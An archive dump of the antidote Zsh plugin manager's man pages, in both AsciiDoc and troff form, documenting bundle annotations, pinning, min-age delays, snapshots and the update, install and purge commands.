image="antidote-zsh542" podman run -it --rm -v "$PWD:/workspace:z" "$image" mattmc3-antidote-9bb69ab/man/000077500000000000000000000000001523541175400161515ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/man/antidote-bundle.adoc000066400000000000000000000216401523541175400220620ustar00rootroot00000000000000= antidote-bundle(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-bundle - download a bundle and print its source line == Synopsis *antidote bundle* [...] == Description *antidote-bundle* assembles your Zsh plugins. Bundles can be git repos, or local files or directories. If a plugin is a repo, it will be cloned if necessary. The zsh code necessary to load (source) the plugin is then printed. ---- antidote bundle gituser/gitrepo antidote bundle $ZSH_CUSTOM/plugins/myplugin antidote bundle ${ZDOTDIR:-$HOME}/.zlibs/myfile.zsh ---- Bundles also support annotations. Annotations allow you have finer grained control over your plugins. Annotations are used in the form `keyword:value`. `kind`:: * *zsh*: A zsh plugin. This is the default kind of bundle. * *fpath*: Only add the plugin to your `$fpath`. * *path*: Add the plugin to your `$PATH`. * *clone*: Only clone a plugin, but don't do anything else with it. * *defer*: Defers loading of a plugin using `romkatv/zsh-defer`. * *autoload*: Autoload all the files in the plugin directory as zsh functions. `branch`:: The branch annotation allows you to change the default branch of a plugin's repo from *main* to a branch of your choosing. `path`:: The path annotation allows you to use a subdirectory or file within a plugin's structure instead of the root plugin (eg: `path:plugins/subplugin`). `conditional`:: The conditional annotation allows you to wrap an *if* statement around a plugin's load script. Supply the name of a zero argument zsh function to conditional to perform the test (eg: `conditional:is-macos`). `pre` / `post`:: The pre and post annotations allow you to call a function before or after a plugin's load script. This is helpful when configuring plugins, since the configuration functions will only run for active plugins. Supply the name of a zero argument zsh function to pre or post. `autoload`:: The autoload annotation allows you to autoload a zsh functions directory in addition to however the plugin was loaded as specified by `kind`. Supply a relative path to autoload (eg: `autoload:functions`). `pin`:: The pin annotation allows you to lock a bundle to a specific commit SHA. A full 40-character SHA is required; a short SHA is an error. A pinned bundle will be cloned at the specified commit and will be skipped during `antidote update`. This is useful for preventing unwanted upstream changes from affecting your environment. Use `branch:` for tags or branches. Lines can also start with a directive. A directive occupies the first word of a line, is not a bundle itself, and affects the lines that follow it. `using:`:: Lets you write plugins from a monorepo or a local directory as bare names (eg: `using:ohmyzsh/ohmyzsh path:plugins`). Annotations you put on the directive carry over to those names, and anything a name sets for itself wins. Only one `using:` is active at a time, so a new one replaces the last. `preset:`:: Sets annotations that every later use of a bundle falls back on (eg: `preset:ohmyzsh/ohmyzsh pin:`). It isn't a bundle itself, so nothing gets cloned. ---- using:ohmyzsh/ohmyzsh path:plugins git magic-enter ---- With a repo, `using:` also clones it, and `path:` becomes the prefix each bare name hangs off. Point it at a local directory instead and the names are resolved under that directory: ---- using:$ZDOTDIR/plugins myplugin ---- A repo only gets cloned once, which means `pin:` and `branch:` have to agree everywhere you use it. Miss one and antidote tells you the pin or branch is inconsistent. Rather than repeat yourself on every line, set it once: ---- preset:ohmyzsh/ohmyzsh pin:4f8a1c2b9e7d3a6f5c0b8e2d7a9f4c1b6e3d8a52 ohmyzsh/ohmyzsh path:lib ohmyzsh/ohmyzsh path:plugins/git ---- You can preset any annotation, not just `pin:` and `branch:`. Presets are the last place antidote looks, so anything on the line itself wins, and so does anything picked up from a `using:`. Watch `path:` though: on a `preset:` line it is simply a default path, while on a `using:` line it is a prefix for bare names. Presets are matched on the directory a bundle clones into, so it makes no difference how you spell the repo. They reach bare names under a `using:` too: ---- preset:ohmyzsh/ohmyzsh pin:4f8a1c2b9e7d3a6f5c0b8e2d7a9f4c1b6e3d8a52 using:ohmyzsh/ohmyzsh path:plugins git magic-enter ---- A preset only affects the lines below it. Set one twice for the same bundle and the second replaces the first, but presets for different bundles stack up rather than replacing each other the way `using:` does. Bundles can be kept a fixed number of days behind their upstream with the following `zstyle`: ---- zstyle ':antidote:bundle:*' min-age 7 zstyle ':antidote:bundle:foo/bar' min-age 30 zstyle ':antidote:bundle:foo/baz' min-age 0 # always take the latest commit ---- The default is unset, which is the same as `0`: no delay. Use `0` to opt a single bundle out of a `min-age` set for every bundle by pattern. With `min-age` set, cloning and updating stop at the newest commit that has been upstream at least that many days, which gives a bad push time to be noticed and pulled before it reaches your shell. Clones are unshallowed up front so the dated history is available, rather than in the background as antidote normally does, which makes the clone itself slower. Pinned bundles ignore `min-age`, since a pin already fixes the commit. A brand new plugin has no commit old enough to satisfy `min-age`. Rather than refuse to install it, antidote clones the plugin at its latest commit and prints a note saying so. An update in that situation is skipped instead, leaving the bundle where it is. Either way, `min-age` never blocks you from getting a plugin. Age is measured by commit date, and commit dates are set by whoever makes the commit, not by the host that receives the push. Anyone able to push a malicious commit can also date it far enough in the past to satisfy any `min-age`. Treat `min-age` as a cushion against a mistake or an unnoticed compromise, not as a supply chain guarantee. When you need a guarantee, use `pin:`, which fixes the commit SHA and makes no claim about dates. Bundles are cloned shallow, at a single commit, so the first run is fast, then deepened by a background fetch. Nothing waits on that fetch. To hold a bundle at its shallow clone and skip it: ---- zstyle ':antidote:bundle:*' shallow yes # every bundle zstyle ':antidote:bundle:foo/bar' shallow yes # just one ---- The default is `no`. Pinned bundles are always left shallow, since a pin already fixes the commit. Loading, updating, pinning, and restoring a snapshot all work on a shallow bundle, and so does the commit list in the `antidote update` report. `antidote update` deepens any bundle it finds shallow unless that bundle is held shallow here, since the background fetch is best effort. Setting `min-age` on a bundle overrides holding it shallow: finding a commit old enough means searching history, which needs the full clone. Cloned repo directory naming can be controlled with the following `zstyle`: ---- zstyle ':antidote:bundle' path-style full # github.com/owner/repo (default) zstyle ':antidote:bundle' path-style short # owner/repo zstyle ':antidote:bundle' path-style escaped # https-COLON--SLASH--SLASH-github.com-SLASH-owner-SLASH-repo ---- == Options *-h, --help*:: Show the help documentation. *...*:: Zsh plugin bundles. == Examples Using the *kind:* annotation: ---- # a regular plugin (kind:zsh is implied, so it's unnecessary) antidote bundle zsh-users/zsh-history-substring-search kind:zsh ---- ---- # add prompt plugins to $fpath antidote bundle sindresorhus/pure kind:fpath ---- ---- # add utility plugins to $PATH antidote bundle romkatv/zsh-bench kind:path ---- ---- # clone a repo for use in other ways antidote bundle mbadolato/iTerm2-Color-Schemes kind:clone ---- ---- # autoload a functions directory antidote bundle sorin-ionescu/prezto path:modules/utility/functions kind:autoload ---- ---- # defer a plugin to speed up load times antidote bundle olets/zsh-abbr kind:defer ---- Using the *branch:* annotation: ---- # don't use the main branch, use develop instead antidote bundle zsh-users/zsh-autosuggestions branch:develop ---- Using the *path:* annotation: ---- # load oh-my-zsh antidote bundle ohmyzsh/ohmyzsh path:lib antidote bundle ohmyzsh/ohmyzsh path:plugins/git ---- Using the *pin:* annotation: ---- # pin a plugin to a specific commit SHA antidote bundle zsh-users/zsh-autosuggestions pin:4f8a1c2b9e7d3a6f5c0b8e2d7a9f4c1b6e3d8a52 ---- ---- # pin a plugin to a specific commit SHA antidote bundle zsh-users/zsh-syntax-highlighting pin:4f8a1c2b9e7d3a6f5c0b8e2d7a9f4c1b6e3d8a52 ---- Using the *conditional:* annotation: ---- # define a conditional function prior to loading antidote function is_macos { [[ $OSTYPE == darwin* ]] || return 1 } # conditionally load a plugin using the function you made antidote bundle ohmyzsh/ohmyzsh path:plugins/macos conditional:is_macos ---- mattmc3-antidote-9bb69ab/man/antidote-help.adoc000066400000000000000000000006141523541175400215370ustar00rootroot00000000000000= antidote-help(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-help - show antidote documentation == Synopsis *antidote help* [] == Description *antidote-help* is used to show context-sensitive help for antidote and its commands. == Options *-h, --help*:: Inception-style meta-help recursively. **:: Show help for a specific command. mattmc3-antidote-9bb69ab/man/antidote-home.adoc000066400000000000000000000011351523541175400215360ustar00rootroot00000000000000= antidote-home(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-home - print where antidote is cloning bundles == Synopsis *antidote home* == Description *antidote-home* shows you where antidote stores its cloned repos. It is not the home of the antidote utility itself. ---- antidote home ---- You can override antidote's default home directory by setting the `$ANTIDOTE_HOME` variable in your `.zshrc`. == Options *-h, --help*:: Show the help documentation. == Examples You can clear out all your cloned repos like so: ---- rm -rfi "$(antidote home)" ---- mattmc3-antidote-9bb69ab/man/antidote-init.adoc000066400000000000000000000016121523541175400215510ustar00rootroot00000000000000= antidote-init(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-init - initialize the shell for dynamic bundles == Synopsis `source <(antidote init)` == Description *antidote-init* changes how the *antidote* command works by causing *antidote bundle* to automatically source its own output instead of just generating the Zsh script for a static file. This behavior exists mainly to support legacy antigen/antibody usage. Static bundling is highly recommended for the best performance. However, dynamic bundling may be preferable for some scenarios, so you can rely on this functionality remaining a key feature in *antidote* to support users preferring dynamic bundles. Typical usage involves adding this snippet to your `.zshrc` before using `antidote bundle` commands: ---- source <(antidote init) ---- == Options *-h, --help*:: Show the help documentation. mattmc3-antidote-9bb69ab/man/antidote-install.adoc000066400000000000000000000031401523541175400222520ustar00rootroot00000000000000= antidote-install(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-install - install a bundle == Synopsis *antidote install* [-h|--help] [-k|--kind ] [-p|--path ] [-a|--autoload ] [-c|--conditional ] [--pre ] [--post ] [--pin ] [-b|--branch ] [] == Description *antidote-install* clones a new bundle and adds it to your plugins file. The default bundle file is `${ZDOTDIR:-$HOME}/.zsh_plugins.txt`. This can be overridden with the following `zstyle`: ---- zstyle ':antidote:bundle' file /path/to/my/bundle_file.txt ---- == Options *-h, --help*:: Show the help documentation. *-k, --kind *:: The kind of bundle. Valid values: autoload, fpath, path, clone, defer, zsh. *-p, --path *:: A relative subpath within the bundle where the plugin is located. *-b, --branch *:: The git branch to use. *-a, --autoload *:: A relative subpath within the bundle where autoload function files are located. *-c, --conditional *:: A conditional function used to check whether to load the bundle. *--pre *:: A function to be called prior to loading the bundle. *--post *:: A function to be called after loading the bundle. *--pin *:: Pin the bundle to a specific commit SHA. Pinned bundles are skipped during `antidote update`. **:: Bundle to be installed. *[]*:: Bundle file to write to if not using the default. Defaults to `${ZDOTDIR:-$HOME}/.zsh_plugins.txt` or the `zstyle` setting. == Examples ---- antidote install zsh-users/zsh-history-substring-search ---- mattmc3-antidote-9bb69ab/man/antidote-list.adoc000066400000000000000000000015071523541175400215640ustar00rootroot00000000000000= antidote-list(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-list - list cloned bundles == Synopsis *antidote list* [-h|--help] *antidote list* [-l|--long] [-d|--dirs] [-u|--url] [-j|--jsonl] == Description *antidote-list* lists the cloned bundles in *antidote home*. By default, bundle path and URL pairs are shown one per line with path first. Use *--long* for a verbose key-value view of each bundle, *--dirs* to show directory paths, *--url* to show URLs only, or *--jsonl* for machine-readable output. == Options *-h, --help*:: Show the help documentation. *-l, --long*:: Show detailed information for each bundle (repo, path, URL, SHA, pin status). *-d, --dirs*:: Show bundle directory paths. *-u, --url*:: Show bundle URLs only. *-j, --jsonl*:: Output the bundle list in JSONL format. mattmc3-antidote-9bb69ab/man/antidote-load.adoc000066400000000000000000000020071523541175400215240ustar00rootroot00000000000000= antidote-load(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-load - statically source bundles == Synopsis *antidote load* [ []] == Description *antidote-load* will turn the bundle file into a static load file and then source it. The default bundle file is `${ZDOTDIR:-$HOME}/.zsh_plugins.txt`. This can be overridden with the following `zstyle`: ---- zstyle ':antidote:bundle' file /path/to/my/bundle_file.txt ---- The default static file is `${ZDOTDIR:-$HOME}/.zsh_plugins.zsh`. This can be overridden with the following `zstyle`: ---- zstyle ':antidote:static' file /path/to/my/static_file.zsh ---- == Options *-h, --help*:: Show the help documentation. *[]*:: The plugins file to source if not using the default. Defaults to `${ZDOTDIR:-$HOME}/.zsh_plugins.txt` or the `zstyle` setting. *[]*:: The static plugins file to generate if not using the default. Defaults to `${ZDOTDIR:-$HOME}/.zsh_plugins.zsh` or the `zstyle` setting. mattmc3-antidote-9bb69ab/man/antidote-path.adoc000066400000000000000000000005601523541175400215430ustar00rootroot00000000000000= antidote-path(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-path - print the path of a cloned bundle == Synopsis *antidote path* == Description *antidote-path* prints the path of a cloned bundle. == Options *-h, --help*:: Show the help documentation. *[]*:: The bundle whose cloned path will be printed. mattmc3-antidote-9bb69ab/man/antidote-purge.adoc000066400000000000000000000006611523541175400217330ustar00rootroot00000000000000= antidote-purge(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-purge - remove a bundle == Synopsis *antidote purge* == Description *antidote-purge* removes a cloned bundle. == Options *-h, --help*:: Show the help documentation. *-a, --all*:: Purge all cloned bundles. **:: Bundle to be purged. == Examples ---- antidote purge zsh-users/zsh-history-substring-search ---- mattmc3-antidote-9bb69ab/man/antidote-snapshot.adoc000066400000000000000000000057341523541175400224560ustar00rootroot00000000000000= antidote-snapshot(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-snapshot - save, restore, remove, or list bundle snapshots == Synopsis *antidote snapshot* home *antidote snapshot* list *antidote snapshot* remove [...] *antidote snapshot* restore [] *antidote snapshot* save [] == Description *antidote-snapshot* manages point-in-time snapshots of your cloned bundles. A snapshot is a bundle file where every repository is annotated with `kind:clone pin:`, capturing the exact commit of each cloned bundle. Snapshots are saved automatically after a successful `antidote update` in static mode. They are not created in dynamic mode. By default, snapshots are stored in `$XDG_DATA_HOME/antidote/snapshots` (or `~/Library/Application Support/antidote/snapshots` on macOS). A rolling history is maintained, with older snapshots pruned beyond the configured maximum. == Subcommands *home*:: Print the path to the snapshot directory. *list*:: List all available snapshot files. *remove*:: Remove snapshot files. If no file is given and `fzf` is available, an interactive multi-select picker is shown. *restore*:: Restore bundles from a snapshot file. If no file is given and `fzf` is available, an interactive picker is shown; otherwise the command exits with an error. *save*:: Save a snapshot of all currently cloned bundles. Optionally specify a file path; otherwise a timestamped file is created in the snapshot directory. == Options *-h, --help*:: Show the help documentation. == Configuration The snapshot directory can be customized: ---- zstyle ':antidote:snapshot' dir ~/.antidote-snapshots ---- The maximum number of snapshots to keep (default 100): ---- zstyle ':antidote:snapshot' max 25 ---- The command used for interactive snapshot selection (default `fzf`). Set it to an empty value to disable picker-based selection: ---- zstyle ':antidote:fzf' cmd fzf zstyle ':antidote:fzf' cmd '' ---- Set the `FZF_DEFAULT_OPTS` and `FZF_DEFAULT_OPTS_FILE` used for fzf in antidote: ---- zstyle ':antidote:fzf' opts "--height=40% --layout=reverse" zstyle ':antidote:fzf' opts_file ~/.config/antidote/fzf-opts ---- If `bat` is installed, it is used for syntax-highlighted fzf previews. If the Antidote Bundle syntax definition is also installed, it will be used; otherwise bat falls back to `properties` syntax. Set bat options with the following zstyle: ---- zstyle ':antidote:bat' opts "--style=plain" ---- Disable auto-snapshots on `antidote update` (explicit `antidote snapshot save` still works): ---- zstyle ':antidote:snapshot:automatic' enabled no ---- == Examples Show where snapshots are stored: ---- antidote snapshot home ---- Save a snapshot: ---- antidote snapshot save ---- List snapshots: ---- antidote snapshot list ---- Select a snapshot interactively: ---- antidote snapshot restore ---- Restore from a specific snapshot: ---- antidote snapshot restore ~/.local/share/antidote/snapshots/snapshot-20260101-120000.txt ---- mattmc3-antidote-9bb69ab/man/antidote-update.adoc000066400000000000000000000013321523541175400220670ustar00rootroot00000000000000= antidote-update(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-update - update bundles == Synopsis *antidote update* [-h|--help] [-s|--self] [-b|--bundles] [-n|--dry-run] == Description *antidote-update* updates antidote and its cloned bundles. Bundles that have been pinned with the `pin:` annotation will be skipped. After a successful update in static mode, a snapshot is automatically saved to record the updated state (see *antidote-snapshot*). == Options *-h, --help*:: Show the help documentation. *-s, --self*:: Update antidote. *-b, --bundles*:: Update bundles. *-n, --dry-run*:: Check for available updates without making any changes. == Examples ---- antidote update ---- mattmc3-antidote-9bb69ab/man/antidote.adoc000066400000000000000000000175271523541175400206240ustar00rootroot00000000000000= antidote(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote - the cure to slow zsh plugin management == Synopsis *antidote* [-v | --version] [-h | --help] [--diagnostics] [ ...] == Description *antidote* is a Zsh plugin manager made from the ground up thinking about performance. It is fast because it can do things concurrently, and generates an ultra-fast static plugin file that you can easily load from your Zsh config. It is written natively in Zsh, is well tested, and picks up where Antigen and Antibody left off. == Options *-h, --help*:: Show context-sensitive help for antidote. *-v, --version*:: Show currently installed antidote version. *--diagnostics*:: Show antidote and system diagnostics. == Commands *help*:: Show documentation *load*:: Statically source all bundles from the plugins file *bundle*:: Clone bundle(s) and generate the static load script *install*:: Clone a new bundle and add it to your plugins file *update*:: Update antidote and its cloned bundles *purge*:: Remove a cloned bundle *home*:: Print where antidote is cloning bundles *list*:: List cloned bundles *path*:: Print the path of a cloned bundle *snapshot*:: Save, restore, or list bundle snapshots *init*:: Initialize the shell for dynamic bundles == Examples === A Simple Config Create a `.zsh_plugins.txt` file with a list of the plugins you want: ---- # ${ZDOTDIR:-$HOME}/.zsh_plugins.txt zsh-users/zsh-syntax-highlighting zsh-users/zsh-history-substring-search zsh-users/zsh-autosuggestions ---- Now, simply load your newly created static plugins file in your `.zshrc`. ---- # ${ZDOTDIR:-$HOME}/.zshrc source /path/to/antidote/antidote.zsh antidote load ---- === A More Advanced Config Your `.zsh_plugins.txt` file supports annotations. Annotations tell antidote how to do things like load plugins from alternate paths. This lets you use plugins from popular frameworks like Oh-My-Zsh: ---- # ${ZDOTDIR:-$HOME}/.zsh_plugins.txt ohmyzsh/ohmyzsh path:lib ohmyzsh/ohmyzsh path:plugins/git ohmyzsh/ohmyzsh path:plugins/magic-enter etc... ---- === Dynamic Bundling Users familiar with legacy plugin managers like Antigen might prefer to use dynamic bundling. With dynamic bundling you avoid having separate plugin files. To use dynamic bundling, we need to change how *antidote bundle* handles your plugins. We do this by sourcing the output from *antidote init*. Each *antidote bundle* line caches its generated load script in a file under *antidote home*, so after the first run new shells load the cache instead of regenerating. Set `zstyle ':antidote:dynamic' zcompile 'yes'` to zcompile those cache files. The cache refreshes automatically when antidote or your config changes, when ':antidote:*' zstyles change, or after *antidote purge* or *antidote update*. An example config might look like this: ---- source /path/to/antidote/antidote.zsh source <(antidote init) antidote bundle zsh-users/zsh-autosuggestions antidote bundle ohmyzsh/ohmyzsh path:lib antidote bundle ohmyzsh/ohmyzsh path:plugins/git ---- Instead of calling *antidote bundle* over and over, you might prefer to load bundles with a HEREDOC. ---- source /path/to/antidote/antidote.zsh source <(antidote init) antidote bundle <\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-bundle \- download a bundle and print its source line .SH "SYNOPSIS" .sp \fBantidote bundle\fP [.\|.\|.] .SH "DESCRIPTION" .sp \fBantidote\-bundle\fP assembles your Zsh plugins. Bundles can be git repos, or local files or directories. If a plugin is a repo, it will be cloned if necessary. The zsh code necessary to load (source) the plugin is then printed. .sp .if n .RS 4 .nf .fam C antidote bundle gituser/gitrepo antidote bundle $ZSH_CUSTOM/plugins/myplugin antidote bundle ${ZDOTDIR:\-$HOME}/.zlibs/myfile.zsh .fam .fi .if n .RE .sp Bundles also support annotations. Annotations allow you have finer grained control over your plugins. Annotations are used in the form \f(CRkeyword:value\fP. .sp \f(CRkind\fP .RS 4 .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBzsh\fP: A zsh plugin. This is the default kind of bundle. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBfpath\fP: Only add the plugin to your \f(CR$fpath\fP. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBpath\fP: Add the plugin to your \f(CR$PATH\fP. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBclone\fP: Only clone a plugin, but don\(cqt do anything else with it. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBdefer\fP: Defers loading of a plugin using \f(CRromkatv/zsh\-defer\fP. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBautoload\fP: Autoload all the files in the plugin directory as zsh functions. .RE .RE .sp \f(CRbranch\fP .RS 4 The branch annotation allows you to change the default branch of a plugin\(cqs repo from \fBmain\fP to a branch of your choosing. .RE .sp \f(CRpath\fP .RS 4 The path annotation allows you to use a subdirectory or file within a plugin\(cqs structure instead of the root plugin (eg: \f(CRpath:plugins/subplugin\fP). .RE .sp \f(CRconditional\fP .RS 4 The conditional annotation allows you to wrap an \fBif\fP statement around a plugin\(cqs load script. Supply the name of a zero argument zsh function to conditional to perform the test (eg: \f(CRconditional:is\-macos\fP). .RE .sp \f(CRpre\fP / \f(CRpost\fP .RS 4 The pre and post annotations allow you to call a function before or after a plugin\(cqs load script. This is helpful when configuring plugins, since the configuration functions will only run for active plugins. Supply the name of a zero argument zsh function to pre or post. .RE .sp \f(CRautoload\fP .RS 4 The autoload annotation allows you to autoload a zsh functions directory in addition to however the plugin was loaded as specified by \f(CRkind\fP. Supply a relative path to autoload (eg: \f(CRautoload:functions\fP). .RE .sp \f(CRpin\fP .RS 4 The pin annotation allows you to lock a bundle to a specific commit SHA. A full 40\-character SHA is required; a short SHA is an error. A pinned bundle will be cloned at the specified commit and will be skipped during \f(CRantidote update\fP. This is useful for preventing unwanted upstream changes from affecting your environment. Use \f(CRbranch:\fP for tags or branches. .RE .sp Lines can also start with a directive. A directive occupies the first word of a line, is not a bundle itself, and affects the lines that follow it. .sp \f(CRusing:\fP .RS 4 Lets you write plugins from a monorepo or a local directory as bare names (eg: \f(CRusing:ohmyzsh/ohmyzsh path:plugins\fP). Annotations you put on the directive carry over to those names, and anything a name sets for itself wins. Only one \f(CRusing:\fP is active at a time, so a new one replaces the last. .RE .sp \f(CRpreset:\fP .RS 4 Sets annotations that every later use of a bundle falls back on (eg: \f(CRpreset:ohmyzsh/ohmyzsh pin:\fP). It isn\(cqt a bundle itself, so nothing gets cloned. .RE .sp .if n .RS 4 .nf .fam C using:ohmyzsh/ohmyzsh path:plugins git magic\-enter .fam .fi .if n .RE .sp With a repo, \f(CRusing:\fP also clones it, and \f(CRpath:\fP becomes the prefix each bare name hangs off. Point it at a local directory instead and the names are resolved under that directory: .sp .if n .RS 4 .nf .fam C using:$ZDOTDIR/plugins myplugin .fam .fi .if n .RE .sp A repo only gets cloned once, which means \f(CRpin:\fP and \f(CRbranch:\fP have to agree everywhere you use it. Miss one and antidote tells you the pin or branch is inconsistent. Rather than repeat yourself on every line, set it once: .sp .if n .RS 4 .nf .fam C preset:ohmyzsh/ohmyzsh pin:4f8a1c2b9e7d3a6f5c0b8e2d7a9f4c1b6e3d8a52 ohmyzsh/ohmyzsh path:lib ohmyzsh/ohmyzsh path:plugins/git .fam .fi .if n .RE .sp You can preset any annotation, not just \f(CRpin:\fP and \f(CRbranch:\fP. Presets are the last place antidote looks, so anything on the line itself wins, and so does anything picked up from a \f(CRusing:\fP. Watch \f(CRpath:\fP though: on a \f(CRpreset:\fP line it is simply a default path, while on a \f(CRusing:\fP line it is a prefix for bare names. .sp Presets are matched on the directory a bundle clones into, so it makes no difference how you spell the repo. They reach bare names under a \f(CRusing:\fP too: .sp .if n .RS 4 .nf .fam C preset:ohmyzsh/ohmyzsh pin:4f8a1c2b9e7d3a6f5c0b8e2d7a9f4c1b6e3d8a52 using:ohmyzsh/ohmyzsh path:plugins git magic\-enter .fam .fi .if n .RE .sp A preset only affects the lines below it. Set one twice for the same bundle and the second replaces the first, but presets for different bundles stack up rather than replacing each other the way \f(CRusing:\fP does. .sp Bundles can be kept a fixed number of days behind their upstream with the following \f(CRzstyle\fP: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:bundle:*\*(Aq min\-age 7 zstyle \*(Aq:antidote:bundle:foo/bar\*(Aq min\-age 30 zstyle \*(Aq:antidote:bundle:foo/baz\*(Aq min\-age 0\& # always take the latest commit .fam .fi .if n .RE .sp The default is unset, which is the same as \f(CR0\fP: no delay. Use \f(CR0\fP to opt a single bundle out of a \f(CRmin\-age\fP set for every bundle by pattern. With \f(CRmin\-age\fP set, cloning and updating stop at the newest commit that has been upstream at least that many days, which gives a bad push time to be noticed and pulled before it reaches your shell. Clones are unshallowed up front so the dated history is available, rather than in the background as antidote normally does, which makes the clone itself slower. Pinned bundles ignore \f(CRmin\-age\fP, since a pin already fixes the commit. .sp A brand new plugin has no commit old enough to satisfy \f(CRmin\-age\fP. Rather than refuse to install it, antidote clones the plugin at its latest commit and prints a note saying so. An update in that situation is skipped instead, leaving the bundle where it is. Either way, \f(CRmin\-age\fP never blocks you from getting a plugin. .sp Age is measured by commit date, and commit dates are set by whoever makes the commit, not by the host that receives the push. Anyone able to push a malicious commit can also date it far enough in the past to satisfy any \f(CRmin\-age\fP. Treat \f(CRmin\-age\fP as a cushion against a mistake or an unnoticed compromise, not as a supply chain guarantee. When you need a guarantee, use \f(CRpin:\fP, which fixes the commit SHA and makes no claim about dates. .sp Bundles are cloned shallow, at a single commit, so the first run is fast, then deepened by a background fetch. Nothing waits on that fetch. To hold a bundle at its shallow clone and skip it: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:bundle:*\*(Aq shallow yes\& # every bundle zstyle \*(Aq:antidote:bundle:foo/bar\*(Aq shallow yes\& # just one .fam .fi .if n .RE .sp The default is \f(CRno\fP. Pinned bundles are always left shallow, since a pin already fixes the commit. Loading, updating, pinning, and restoring a snapshot all work on a shallow bundle, and so does the commit list in the \f(CRantidote update\fP report. \f(CRantidote update\fP deepens any bundle it finds shallow unless that bundle is held shallow here, since the background fetch is best effort. Setting \f(CRmin\-age\fP on a bundle overrides holding it shallow: finding a commit old enough means searching history, which needs the full clone. .sp Cloned repo directory naming can be controlled with the following \f(CRzstyle\fP: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:bundle\*(Aq path\-style full\& # github.com/owner/repo (default) zstyle \*(Aq:antidote:bundle\*(Aq path\-style short\& # owner/repo zstyle \*(Aq:antidote:bundle\*(Aq path\-style escaped\& # https\-COLON\-\-SLASH\-\-SLASH\-github.com\-SLASH\-owner\-SLASH\-repo .fam .fi .if n .RE .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB.\|.\|.\fP .RS 4 Zsh plugin bundles. .RE .SH "EXAMPLES" .sp Using the \fBkind:\fP annotation: .sp .if n .RS 4 .nf .fam C # a regular plugin (kind:zsh is implied, so it\*(Aqs unnecessary) antidote bundle zsh\-users/zsh\-history\-substring\-search kind:zsh .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # add prompt plugins to $fpath antidote bundle sindresorhus/pure kind:fpath .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # add utility plugins to $PATH antidote bundle romkatv/zsh\-bench kind:path .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # clone a repo for use in other ways antidote bundle mbadolato/iTerm2\-Color\-Schemes kind:clone .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # autoload a functions directory antidote bundle sorin\-ionescu/prezto path:modules/utility/functions kind:autoload .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # defer a plugin to speed up load times antidote bundle olets/zsh\-abbr kind:defer .fam .fi .if n .RE .sp Using the \fBbranch:\fP annotation: .sp .if n .RS 4 .nf .fam C # don\*(Aqt use the main branch, use develop instead antidote bundle zsh\-users/zsh\-autosuggestions branch:develop .fam .fi .if n .RE .sp Using the \fBpath:\fP annotation: .sp .if n .RS 4 .nf .fam C # load oh\-my\-zsh antidote bundle ohmyzsh/ohmyzsh path:lib antidote bundle ohmyzsh/ohmyzsh path:plugins/git .fam .fi .if n .RE .sp Using the \fBpin:\fP annotation: .sp .if n .RS 4 .nf .fam C # pin a plugin to a specific commit SHA antidote bundle zsh\-users/zsh\-autosuggestions pin:4f8a1c2b9e7d3a6f5c0b8e2d7a9f4c1b6e3d8a52 .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # pin a plugin to a specific commit SHA antidote bundle zsh\-users/zsh\-syntax\-highlighting pin:4f8a1c2b9e7d3a6f5c0b8e2d7a9f4c1b6e3d8a52 .fam .fi .if n .RE .sp Using the \fBconditional:\fP annotation: .sp .if n .RS 4 .nf .fam C # define a conditional function prior to loading antidote function is_macos { [[ $OSTYPE == darwin* ]] || return 1 } # conditionally load a plugin using the function you made antidote bundle ohmyzsh/ohmyzsh path:plugins/macos conditional:is_macos .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote-help.1000066400000000000000000000024431523541175400216270ustar00rootroot00000000000000'\" t .\" 